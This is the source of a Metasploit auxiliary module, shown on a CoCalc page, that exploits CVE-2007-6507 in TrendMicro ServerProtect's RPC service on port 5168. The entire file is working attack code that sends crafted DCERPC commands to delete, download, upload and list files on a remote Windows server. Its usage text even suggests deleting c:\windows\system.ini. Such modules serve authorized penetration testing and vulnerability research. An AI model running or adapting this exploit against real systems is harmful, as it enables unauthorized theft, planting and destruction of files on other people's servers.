Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/serverprotect/file.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Remote::DCERPC
9
include Msf::Post::Windows::Registry
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'TrendMicro ServerProtect File Access',
16
'Description' => %q{
17
This modules exploits a remote file access flaw in the ServerProtect Windows
18
Server RPC service. Please see the action list (or the help output) for more
19
information.
20
},
21
'DefaultOptions' => {
22
'DCERPC::ReadTimeout' => 300 # Long-running RPC calls
23
},
24
'Author' => [ 'toto' ],
25
'License' => MSF_LICENSE,
26
'References' => [
27
[ 'CVE', '2007-6507' ],
28
[ 'OSVDB', '44318' ],
29
[ 'ZDI', '07-077' ],
30
],
31
'Actions' => [
32
[ 'delete', { 'Description' => 'Delete a file' } ],
33
[ 'download', { 'Description' => 'Download a file' } ],
34
[ 'upload', { 'Description' => 'Upload a file' } ],
35
[ 'list', { 'Description' => 'List files (not recommended - will crash the driver)' } ]
36
],
37
'Notes' => {
38
'Stability' => [CRASH_SAFE],
39
'SideEffects' => [IOC_IN_LOGS],
40
'Reliability' => []
41
}
42
)
43
)
44
45
register_options(
46
[
47
Opt::RPORT(5168),
48
OptString.new(
49
'RPATH',
50
[
51
false,
52
'The remote filesystem path',
53
nil
54
]
55
),
56
OptString.new(
57
'LPATH',
58
[
59
false,
60
'The local filesystem path',
61
nil
62
]
63
),
64
]
65
)
66
end
67
68
def check_option(name)
69
if !datastore[name]
70
raise "The #{name} parameter is required by this option"
71
end
72
end
73
74
def auxiliary_commands
75
{
76
'delete' => 'Delete a file',
77
'download' => 'Download a file',
78
'upload' => 'Upload a file',
79
'list' => 'List files (not recommended - will crash the driver)'
80
}
81
end
82
83
def run
84
case action.name
85
when 'download'
86
check_option('RPATH')
87
check_option('LPATH')
88
cmd_download(datastore['RPATH'], datastore['LPATH'])
89
when 'upload'
90
check_option('RPATH')
91
check_option('LPATH')
92
cmd_upload(datastore['RPATH'], datastore['LPATH'])
93
when 'delete'
94
check_option('RPATH')
95
cmd_delete(datastore['RPATH'])
96
when 'list'
97
check_option('RPATH')
98
cmd_list(datastore['RPATH'])
99
else
100
print_error("Unknown action #{action.name}")
101
end
102
end
103
104
def deunicode(str)
105
str.gsub("\x00", '').strip
106
end
107
108
#
109
# Once this function is used, if cmd_download or cmd_upload is called the server will crash :/
110
#
111
def cmd_list(*args)
112
if args.empty?
113
print_status('Usage: list folder')
114
return
115
end
116
117
file = Rex::Text.to_unicode(args[0])
118
119
data = "\0" * 0x100
120
data[4, file.length] = file
121
122
# FindFirstFile
123
resp = serverprotect_rpccmd(131080, data, 0x100)
124
return if !resp
125
126
if resp.length != 0x108
127
print_error('An unknown error occurred while calling FindFirstFile.')
128
return
129
end
130
131
ret, = resp[0x104, 4].unpack('V')
132
if ret != 0
133
print_error("An error occurred while calling FindFirstFile #{args[0]}: #{ret}.")
134
return
135
end
136
137
handle, = resp[4, 4].unpack('V')
138
139
file = deunicode(resp[0x30, 0xd0])
140
print("#{file}\n")
141
142
data = "\0" * 0x100
143
data[0, 4] = [handle].pack('V')
144
145
loop do
146
# FindNextFile
147
resp = serverprotect_rpccmd(131081, data, 0x100)
148
return if !resp
149
150
if resp.length != 0x108
151
print_error('An unknown error occurred while calling FindFirstFile.')
152
break
153
end
154
155
ret, = resp[0x104, 4].unpack('V')
156
if ret != 0
157
break
158
end
159
160
file = deunicode(resp[0x30, 0xd0])
161
print("#{file}\n")
162
end
163
data = [handle].pack('V')
164
# FindClose
165
serverprotect_rpccmd(131082, data, 0x100)
166
end
167
168
def cmd_delete(*args)
169
if args.empty?
170
print_status('Usage: delete c:\\windows\\system.ini')
171
return
172
end
173
174
data = Rex::Text.to_unicode(args[0] + "\0")
175
resp = serverprotect_rpccmd(131077, data, 4)
176
return if !resp
177
178
if (resp.length == 12)
179
ret, = resp[8, 4].unpack('V')
180
181
if ret == 0
182
print_good("File #{args[0]} successfully deleted.")
183
else
184
print_error("An error occurred while deleting #{args[0]}: #{ret}.")
185
end
186
end
187
end
188
189
def cmd_download(*args)
190
if (args.length < 2)
191
print_status('Usage: download remote_file local_file')
192
return
193
end
194
195
# GENERIC_READ: 0x80000000
196
# FILE_SHARE_READ: 1
197
# OPEN_EXISTING: 3
198
# FILE_ATTRIBUTE_NORMAL: 0x80
199
handle = serverprotect_createfile(args[0], 0x80000000, 1, 3, 0x80)
200
if !handle || (handle == 0)
201
return
202
end
203
204
fd = File.new(args[1], 'wb')
205
206
print_status("Downloading #{args[0]}...")
207
208
# reads 0x1000 bytes (hardcoded in the soft)
209
until (data = serverprotect_readfile(handle)).empty?
210
fd.write(data)
211
end
212
213
fd.close
214
215
serverprotect_closehandle(handle)
216
217
print_good("File #{args[0]} successfully downloaded.")
218
end
219
220
def cmd_upload(*args)
221
if (args.length < 2)
222
print_status('Usage: upload local_file remote_file')
223
return
224
end
225
226
# GENERIC_WRITE: 0x40000000
227
# FILE_SHARE_WRITE: 2
228
# CREATE_ALWAYS: 2
229
# FILE_ATTRIBUTE_NORMAL: 0x80
230
handle = serverprotect_createfile(args[1], 0x40000000, 2, 2, 0x80)
231
if (handle == 0)
232
return
233
end
234
235
fd = File.new(args[0], 'rb')
236
237
print_status("Uploading #{args[1]}...")
238
239
# write 0x1000 bytes (hardcoded in the soft)
240
while (data = fd.read(0x1000) && !data.nil)
241
serverprotect_writefile(handle, data)
242
end
243
244
fd.close
245
246
serverprotect_closehandle(handle)
247
248
print_good("File #{args[1]} successfully uploaded.")
249
end
250
251
def serverprotect_createfile(file, desiredaccess, sharemode, creationdisposition, flags)
252
data = "\0" * 540
253
file = Rex::Text.to_unicode(file)
254
data[4, file.length] = file
255
data[524, 16] = [desiredaccess, sharemode, creationdisposition, flags].pack('VVVV')
256
257
resp = serverprotect_rpccmd(131073, data, 540)
258
return if !resp
259
260
if (resp.length < 548)
261
print_error('An unknown error occurred while calling CreateFile.')
262
return 0
263
else
264
handle, = resp[4, 4].unpack('V')
265
ret, = resp[544, 4].unpack('V')
266
267
if ret != 0
268
print_error("An error occurred while calling CreateFile: #{ret}.")
269
return 0
270
else
271
return handle
272
end
273
end
274
end
275
276
def serverprotect_readfile(handle)
277
data = "\0" * 4104
278
data[0, 4] = [handle].pack('V')
279
280
resp = serverprotect_rpccmd(131075, data, 4104)
281
return if !resp
282
283
if (resp.length != 4112)
284
print_error('An unknown error occurred while calling ReadFile.')
285
return ''
286
else
287
ret, = resp[4108, 4].unpack('V')
288
289
if ret != 0
290
print_error("An error occurred while calling CreateFile: #{ret}.")
291
return ''
292
else
293
br, = resp[4104, 4].unpack('V')
294
return resp[8, br]
295
end
296
end
297
end
298
299
def serverprotect_writefile(handle, buf)
300
data = "\0" * 4104
301
data[0, 4] = [handle].pack('V')
302
data[4, buf.length] = buf
303
data[4100, 4] = [buf.length].pack('V')
304
305
resp = serverprotect_rpccmd(131076, data, 4104)
306
return if !resp
307
308
if (resp.length != 4112)
309
print_error('An unknown error occurred while calling WriteFile.')
310
return 0
311
else
312
ret, = resp[4108, 4].unpack('V')
313
314
if ret != 0
315
print_error("An error occurred while calling WriteFile: #{ret}.")
316
return 0
317
end
318
end
319
320
return 1
321
end
322
323
def serverprotect_closehandle(handle)
324
data = [handle].pack('V')
325
326
resp = serverprotect_rpccmd(131074, data, 4)
327
return if !resp
328
329
if (resp.length != 12)
330
print_error('An unknown error occurred while calling CloseHandle.')
331
else
332
ret, = resp[8, 4].unpack('V')
333
334
if ret != 0
335
print_error("An error occurred while calling CloseHandle: #{ret}.")
336
end
337
end
338
end
339
340
def serverprotect_rpccmd(cmd, data, osize)
341
if (data.length.remainder(4) != 0)
342
padding = "\0" * (4 - data.length.remainder(4))
343
else
344
padding = ''
345
end
346
347
stub =
348
NDR.long(cmd) +
349
NDR.long(data.length) +
350
data +
351
padding +
352
NDR.long(data.length) +
353
NDR.long(osize)
354
355
return serverprotect_rpc_call(0, stub)
356
end
357
358
#
359
# Call the serverprotect RPC service
360
#
361
def serverprotect_rpc_call(opnum, data = '')
362
connect
363
364
handle = dcerpc_handle(
365
'25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0',
366
'ncacn_ip_tcp', [datastore['RPORT']]
367
)
368
369
dcerpc_bind(handle)
370
371
dcerpc.call(opnum, data)
372
outp = ''
373
374
if dcerpc.last_response && dcerpc.last_response.stub_data
375
outp = dcerpc.last_response.stub_data
376
end
377
378
disconnect
379
380
outp
381
rescue ::Interrupt
382
raise $ERROR_INFO
383
rescue StandardError => e
384
print_error("Error: #{e}")
385
nil
386
end
387
end
388
389